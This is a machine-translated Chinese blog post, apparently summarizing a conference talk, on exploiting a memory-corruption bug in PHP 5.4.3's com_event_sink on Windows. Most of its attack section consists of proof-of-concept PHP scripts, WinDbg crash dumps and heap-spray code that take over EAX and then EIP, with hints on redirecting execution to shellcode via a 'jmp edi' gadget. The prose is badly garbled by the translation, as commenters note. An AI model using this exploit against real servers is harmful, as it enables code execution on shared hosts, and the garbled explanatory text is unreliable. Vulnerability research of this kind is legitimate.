在一个常见的Web应用程序测试中,我们操纵输入,一个共同的最终用户控制和检查从应用程序的响应。但是,因为这些数据通过PHP,ASP引擎,用于构建这些应用程序处理。我们在模糊化,并试图找出问题,这些引擎可以被攻击的普通用户。我的演讲有两个部分,本地攻击和远程攻击。本地攻击我演示了如何利用PHP做特权升级和远程攻击,我们映射的PHP函数参数的远程用户,如文件处理和图像处理功能,并展示了如何利用它们。整个演示文稿集中在PHP核心错误。

Web应用程序如何Stuffs工作。

1)用户浏览器发送输入到Web应用程序 -

2)HTTP服务器捕获并

3)把它传递给Web应用程序 - >

4)Web应用程序发送到脚本引擎来处理它。

PHP架构:

这些图是不够好,详细解释PHP体系结构,而不是我写的关于他们的详细。

1)

PHP+ Apache的安全体系结构:

1)因此,如果我们可以执行的PHP代码的情况下,你将能够摆脱诸多限制。

2)应能得到shell访问的hardned PHP主机。

3)共享主机的Windows服务器是受影响最大。

4)这些类型的错误被评为10/10,一个CVE得分PHP。

为什么PHP本地攻击。

1)权限提升

2)在受保护环境中执行代码

3)绕过安全限制

PHP本地的漏洞利用BUG猎人的历史:

1)PHP的符号链接漏洞

2)PHP Nginx的漏洞

3)_php_stream_scandir

4)CVE-2011-3268[crypt函数]

最好的的PHP错误狩猎的的i0nic和团队有“月”在2007年和2010年的PHP安全。约60安全问题的识别和几个联络点被释放。

或者你coud浏览了该组织的档案。的PHP:产品和安全漏洞

2012年4月,我发现了一些当地的安全问题,已添加到COCON CFP,后来又被确定由CONDIS PHP< =5.4.3(com_event_sink)执行代码的概念证明 - CXSecurity WLB独立。现在,这个问题是公共的,我会放下我的分析指出,此错误代码执行。目前的问题只影响PHP的Windows。

PHP5.4.3 Com_event_sink 0day:

漏洞的函数:

PHP提供了一个模块进行交互的COM和。Net(Windows)中。在该com_event_sink使用以下方式。

它允许用户调用COM实例,在目前的情况下,[IE],并与其进行交互。

注:此功能是方便的,如果你有机会的服务器不允许其他机制,将文件下载到它像。

下面的代码将打开一个IE实例,并下载谷歌的网页。的的功能com_event_sink需要三个参数。

1) - > $ie = new COM(“InternetExplorer.Application”);

地址COM对象进行交互

2) - >接收对象

3) - >接收器接口

com_event_sink($ie, $sink, "DWebBrowserEvents2");  
< ?php  
class IEEventSinker {   
var $terminated = false;   

function ProgressChange($progress, $progressmax) {   
echo "Download progress: $progress / $progressmax\n";   
 }   

function DocumentComplete(&$dom, $url) {   
echo "Document $url complete\n";   
 }   

function OnQuit() {   
echo "Quit!\n";   
 $this->terminated = true;   
 }   
}   
$ie = new COM("InternetExplorer.Application");   
// note that you don't need the & for PHP 5!   
$sink = new IEEventSinker();   
com_event_sink($ie, $sink, "DWebBrowserEvents2");   
$ie->Visible = true;   
$ie->Navigate("http://www.google.com");   
while(!$sink->terminated) {   
com_message_pump(4000);   
}   
$ie = null;   
?>  

问题:

第一个参数是加载的COM对象的地址,它是由用户控制。没有被验证的地址上进行,这是直接使用地址。

PHP代码:

$ie = new COM("InternetExplorer.Application");   
// note that you don't need the & for PHP 5!   
$sink = new IEEventSinker();   
com_event_sink($ie, $sink, "DWebBrowserEvents2");   

POC

< ?php  
$buffer = str_repeat("B", 1000);   
$vVar = new VARIANT(0x43434343); // We controll this  
$vVar2 = new VARIANT(0x41414141); //   
com_event_sink($vVar, $vVar2 , $buffer );   
?>  
(310.1fc): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=00372ad0 edx=0114dd88 esi=43434343 edi=0114d9b8  
eip=102f59bd esp=00c1f988 ebp=00c1f9dc iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\wamp\bin\php\php5.4.3\php5ts.dll -   
php5ts!php_strftime+0xadc:  

102f59bd 8b06 mov eax,dword ptr [esi] ds:0023:43434343=????????   
102f59bf 8d4dd4 lea ecx,[ebp-2Ch]  
102f59c2 51 push ecx  
102f59c3 53 push ebx  
102f59c4 53 push ebx  
102f59c5 56 push esi  
102f59c6 ff5010 call dword ptr [eax+10h]  

酷我们完全控制ESI和到EAX MOV指令崩溃以来出现故障由于ESI点到一个无效的地址

----> mov eax,dword ptr [esi] ds:0023:43434343=????????

EDI拥有第三个参数,足以容纳一些的shellcode。

0:000> d edi  
0114d9f8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
0114da08 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
0114da18 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  
0114da28 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0114da38 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB  

执行代码[利用]:

*)我们控制的ESI和那里可以控制EAX,

*)如果我们把ESI一个有效的地址,并填写倪仁兴MEM地址,内存,然后,EAX将在我们手中。

*)在102f59c6调用DWORD PTR[EAX+10 H],我们可以很容易地控制EIP,因为我们控制EAX和那里可以拨打电话土地的任何地方,我们希望[瞧]。

*),所以我们需要喷有两个不同的值,一个值控制EAX和指导CALL指令,一个有效的地址空间和控制[EIP],并获得完全的控制权的程序。

总之:

$EIP="AAAA"; //JMP EDI  
$EAX="BBBB " -10h;  
$spray = $EIP.$EAX;  

1)做一些喷雾的EAX控制。

2)地址[地址-10H],因为它的CALL EAX+10 H。

3)填写ESI内存“\ X34\ X43\ X42\ X41”

< ?php  
$spray = str_repeat("\x34\x43\x42\x41",0x100);   
//We wann make EAX = 41424343 so l-india.   
echo strlen($spray);   
$deodrant="";   
for($i=0;$i<0x4b00;$i++)   
{   
 $deodrant.=$spray;   
}   
$terminate = "T";   
$u[] =$deodrant;   
$r[] =$deodrant.$terminate;   
$a[] =$deodrant.$terminate;   
$s[] =$deodrant.$terminate;   
$vVar = new VARIANT(0x048d0000+180); //We control this  
//$buffer = str_repeat("B",200);   
$buffer = "\x41\x42\x43\x44\x90\x90\x90\x90\xcc\xcc\xcc\xcc\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";  
$var2 = new VARIANT(0x41414242);   
com_event_sink($vVar,$var2,$buffer);   
?>  
(1fc.b7c): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=41424334 ebx=00000000 ecx=00c1f9b0 edx=0114dbf0 esi=048d00b4 edi=0114dc48  
eip=102f59c6 esp=00c1f978 ebp=00c1f9dc iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\wamp\bin\php\php5.4.3\php5ts.dll -   
php5ts!php_strftime+0xae5:  
102f59c2 51 push ecx  
102f59c3 53 push ebx  
102f59c4 53 push ebx  
102f59c5 56 push esi  
102f59c6 ff5010 call dword ptr [eax+10h] ds:0023:41424344=????????  

现在有两个不同的值控制的一个值EAX和指导的喷雾[CALL]一个有效的地址空间的指令和控制[EIP],并获得完全的控制权的程序。

< ?php  
$eip ="\x44\x43\x42\x41";   
//$eip= "\x4b\xe8\x57\x78"; jmp edi  
$eax ="\x80\x01\x8d\x04";   
$deodrant="";   
$axespray = str_repeat($eip.$eax,0x80);   
//048d0190  
echo strlen($axespray);   
//19200 ==4B32 4b00  
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++)   
{   
 $deodrant.=$axespray;   
}   
$terminate = "T";   
$u[] =$deodrant;   
$r[] =$deodrant.$terminate;   
$a[] =$deodrant.$terminate;   
$s[] =$deodrant.$terminate;   
$vVar = new VARIANT(0x048d0000+180);   
$buffer = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";  
$var2 = new VARIANT(0x41414242);   
com_event_sink($vVar,$var2,$buffer);   
?>  

Voila EIP ="woot woot"

(cb0.7d4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=048d0180 ebx=00000000 ecx=00c1f9b0 edx=0114dbc8 esi=048d00b4 edi=0114dc20  
eip=41414141 esp=00c1f974 ebp=00c1f9dc iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
41414141 ?? ???  

现在你知道它很容易,你知道在哪里的shellcode是,事情是很明显的。

!load byakugan

!jutsu searchOpcode jmp edi

用一个简单的“消息框”的shellcode的代码


评论区:
匿名: 这翻译的。。。。 [2012-09-07 13:14:33]
 

匿名: 机器翻译的怎么看啊?你起码把原文地址给出来吧 [2012-09-06 10:28:20]

 

Comments
Write a Comment